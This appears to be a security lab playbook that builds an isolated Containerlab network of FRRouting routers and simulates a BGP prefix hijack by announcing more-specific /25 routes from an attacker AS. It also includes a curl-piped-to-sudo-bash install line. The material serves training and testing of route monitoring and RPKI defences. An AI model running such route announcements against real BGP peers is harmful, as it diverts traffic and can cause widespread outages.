Exploiting BGP Hijacking Vulnerabilities

When to Use

• Assessing an organization's exposure to BGP prefix hijacking and route leak attacks
• Testing RPKI (Resource Public Key Infrastructure) deployment and route origin validation effectiveness
• Validating BGP monitoring and alerting systems detect unauthorized route announcements
• Simulating BGP hijacking in isolated lab environments to train network operations teams
• Evaluating ISP prefix filtering and route origin authorization (ROA) configurations

Do not use to perform actual BGP hijacking on the live internet, against BGP peers without authorization, or to disrupt real internet routing infrastructure. BGP attacks on production systems are illegal and can cause widespread internet outages.

Prerequisites

• Isolated BGP lab environment using GNS3, EVE-NG, or Containerlab with virtual routers (FRRouting, BIRD, or Cisco IOS)
• Understanding of BGP path attributes, AS path, prefix announcements, and route selection
• Access to BGP looking glass servers and RPKI validators for monitoring real-world route status
• bgpstream, RIPEstat, and BGPalerter tools for route monitoring
• Written authorization for any testing that involves real AS numbers or prefix announcements

Workflow

Step 1: Build an Isolated BGP Lab Environment

# Install Containerlab for BGP simulation
sudo bash -c "$(curl -sL https://get.containerlab.dev)"

# Create a BGP lab topology file
cat > bgp-lab.clab.yml << 'EOF'
name: bgp-hijack-lab
topology:
  nodes:
    # Legitimate AS (AS65001) announcing 10.0.0.0/24
    legitimate-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - legitimate-frr.conf:/etc/frr/frr.conf
    # Attacker AS (AS65002) that will hijack the prefix
    attacker-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - attacker-frr.conf:/etc/frr/frr.conf
    # Transit provider (AS65000) connecting both
    transit-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - transit-frr.conf:/etc/frr/frr.conf
    # Victim network receiving routes
    victim-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - victim-frr.conf:/etc/frr/frr.conf
  links:
    - endpoints: ["legitimate-router:eth1", "transit-router:eth1"]
    - endpoints: ["attacker-router:eth1", "transit-router:eth2"]
    - endpoints: ["transit-router:eth3", "victim-router:eth1"]
EOF

# Configure legitimate router (AS65001)
cat > legitimate-frr.conf << 'EOF'
frr defaults traditional
hostname legitimate-router
router bgp 65001
 bgp router-id 1.1.1.1
 neighbor 10.0.1.2 remote-as 65000
 address-family ipv4 unicast
  network 10.0.0.0/24
  neighbor 10.0.1.2 activate
 exit-address-family
!
interface eth1
 ip address 10.0.1.1/30
!
interface lo
 ip address 10.0.0.1/24
EOF

# Configure attacker router (AS65002) -- initially not announcing the prefix
cat > attacker-frr.conf << 'EOF'
frr defaults traditional
hostname attacker-router
router bgp 65002
 bgp router-id 2.2.2.2
 neighbor 10.0.2.2 remote-as 65000
 address-family ipv4 unicast
  neighbor 10.0.2.2 activate
 exit-address-family
!
interface eth1
 ip address 10.0.2.1/30
EOF

# Deploy the lab
sudo containerlab deploy -t bgp-lab.clab.yml

Step 2: Verify Legitimate BGP Routing

# Connect to victim router and verify route to 10.0.0.0/24
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp"
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip route 10.0.0.0/24"

# Expected: Route via AS65000 AS65001 (legitimate path)
# Verify traceroute follows the legitimate path
docker exec -it clab-bgp-hijack-lab-victim-router traceroute 10.0.0.1

# Check BGP table on transit router
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show ip bgp 10.0.0.0/24"

Step 3: Simulate Prefix Hijack (More-Specific Route)

# On the attacker router, announce more-specific prefixes
docker exec -it clab-bgp-hijack-lab-attacker-router vtysh << 'VTYSH'
configure terminal
router bgp 65002
 address-family ipv4 unicast
  network 10.0.0.0/25
  network 10.0.0.128/25
 exit-address-family
!
interface lo
 ip address 10.0.0.1/25
 ip address 10.0.0.129/25
exit
end
write memory
VTYSH

# Verify the hijack on the victim router
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp 10.0.0.0/24 longer-prefixes"

# The victim should now prefer the /25 routes via the attacker

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